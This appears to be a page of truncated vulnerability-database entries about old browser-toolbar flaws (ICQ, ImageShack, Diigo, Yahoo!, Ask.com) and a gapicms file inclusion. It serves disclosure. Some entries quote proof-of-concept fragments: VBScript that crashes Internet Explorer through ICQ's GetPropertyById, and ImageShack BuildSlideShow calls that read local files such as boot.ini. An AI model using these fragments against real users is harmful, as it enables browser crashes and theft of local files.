gapicms 9.0.2 (dirDepth) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ gapicms 9.0.2 dirDepth Remote File Inclusion Vulnerability ============================================================ gapicms v9.0.2 dirDepth Remote File Inclusion Vulnerabilit...

Diigo Toolbar crossite scripting

Crossite scripting with publiс comments...

Diigo Toolbar and Diigolet Comment Feature - HTML Injection Information Disclosure

Diigo Toolbar and Diigolet Comment Feature - HTML Injection Information Disclosure source: https://www.securityfocus.com/bid/29611/info Diigo Toolbar and Diigolet are prone to an HTML-injection vulnerability and an information-disclosure vulnerability when handling data via the 'comment' feature...

Diigo Toolbar and Diigolet Comment Feature - HTML Injection / Information Disclosure

source: https://www.securityfocus.com/bid/29611/info Diigo Toolbar and Diigolet are prone to an HTML-injection vulnerability and an information-disclosure vulnerability when handling data via the 'comment' feature. An attacker can exploit the HTML-injection issue to run arbitrary HTML and script...

diigo-xss.txt

Diigo Toolbar - Global XSS and Information Leakage in SSL URLs == Global XSS == Diigo is http://www.diigo.com/ a social bookmarking and sharing application which allows users to see other users comments and notes for every website. For this feature users should use Diigolet bookmarklet or Diigo...

Hatena Toolbar sends URL information unecnrypted

Overview Hatena Toolbar improperly sends URL information to the Hatena server without being encrypted when a user views a web page secured by SSL. Impact When a user of Hatena Toolbar views a SSL secured web page, an attacker could obtain the information contained in the URL such as a session ID...

ICQ Toolbar 2.3 ActiveX Remote Denial of Service Exploit

No description provided by source. !-- Lame ICQToolbar IE DoS - Crash IE and change toolbar color :p -- html object classid='clsid:855F3B16-6D32-4FE6-8A56-BBB695989046' id='toolbar' /object script language='vbscript' bof=String128, "spdr" toolbar.GetPropertyById "" ,bof /script /html...

ICQ Toolbar 'toolbaru.dll' ActiveX控件'GetPropertyById'远程拒绝服务漏洞

BUGTRAQ ID: 28118 CNCAN ID:CNCAN-2008030705 ICQ是一款流行的即时信息通讯程序。 ICQ工具栏'toolbaru.dll' ActiveX控件存在输入检查问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 问题是'toolbaru.dll' ActiveX控件对'GetPropertyById'方法缺少正确处理，构建恶意WEB页，诱使用户访问，可导致对应用程序进行拒绝服务攻击。 测试方法 !-- Lame ICQToolbar IE DoS - Crash IE and change toolbar color :p -- html...

ICQ Toolbar 2.3 - ActiveX Remote Denial of Service

bof=String128, "spdr" toolbar.GetPropertyById "" ,bof milw0rm.com 2008-03-06...

ICQ Toolbar 2.3 - ActiveX Remote Denial of Service

ICQ Toolbar 2.3 - ActiveX Remote Denial of Service bof=String128, "spdr" toolbar.GetPropertyById "" ,bof milw0rm.com 2008-03-06...

ICQ Toolbar 2.3 ActiveX Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ======================================================== ICQ Toolbar 2.3 ActiveX Remote Denial of Service Exploit ======================================================== bof=String128, "spdr" toolbar.GetPropertyById "" ,bof 0day.today 2018-04-02...

Ask.com Toolbar AskJeevesToolBar.SettingsPlugin.1 ActiveX (askBar.dll) ShortFormat Property Arbitrary Code Execution

The AskJeevesToolBar.SettingsPlugin.1 ActiveX control, part of the Ask Toolbar, is installed on the remote host. It reportedly contains a buffer overflow that can be triggered with a long value for the 'ShortFormat' property. If a remote attacker can trick a user on the affected host into visitin...

Yahoo! Toolbar URL Shortcut ActiveX Control Buffer Overflow (CVE-2007-6535)

Yahoo! Toolbar is a pop-up blocker for Firefox and Internet Explorer that allows instant access to several Yahoo! features. A buffer overflow vulnerability was reported in Yahoo! Toolbar. This vulnerability is due to boundary errors in the Yahoo! Toolbar YShortcut ActiveX Control. To trigger this...

ImageShack Toolbar ImageShackToolbar.dll控件不安全方式漏洞

BUGTRAQ ID: 27439 ImageShack Toolbar是用于向ImageShack网站上传文件的浏览器内嵌工具栏。 ImageShack Toolbar的ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞获取系统文件。 ImageShack Toolbar所安装的ImageShackToolbar.FileUploader.1...

imageshack-poc.txt

suntzu.BuildSlideShow "file:///c:\xpwallpaperglass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White" suntzu.BuildSlideShow "file:///c:\boot.ini", "Big",1,"uhuhinterestingpriv...

ImageShack Toolbar 4.5.7 FileUploader Class Insecure Method PoC

No description provided by source. !-- ImageShack Toolbar 4.5.7 FileUploader Class ImageShackToolbar.dll insecure method poc This tool may allow a malicious web page to post arbitrary images on the web from a user hard drive. Images will be visible on ImageShack site, a way for an attacker to...

ImageShack Toolbar 4.5.7 - 'FileUploader' Class InsecureMethod

suntzu.BuildSlideShow "file:///c:\xpwallpaperglass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White" suntzu.BuildSlideShow "file:///c:\boot.ini", "Big",1,"uhuhinterestingprivatethings","Fade","White" ---- some wiresh...

ImageShack Toolbar ActiveX unauthorized access

Insecure method allows local files reading access...

ImageShack Toolbar 4.5.7 - FileUploader Class InsecureMethod

ImageShack Toolbar 4.5.7 - FileUploader Class InsecureMethod suntzu.BuildSlideShow "file:///c:\xpwallpaperglass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White" suntzu.BuildSlideShow "file:///c:\boot.ini", "Big",1,"uhuhinterestingprivatethings...

ImageShack Toolbar 4.5.7 FileUploader Class InsecureMethod PoC

No description provided by source. !-- ImageShack Toolbar 4.5.7 FileUploader Class ImageShackToolbar.dll insecure method poc This tool may allow a malicious web page to post arbitrary images on the web from a user hard drive. Images will be visible on ImageShack site, a way for an attacker to...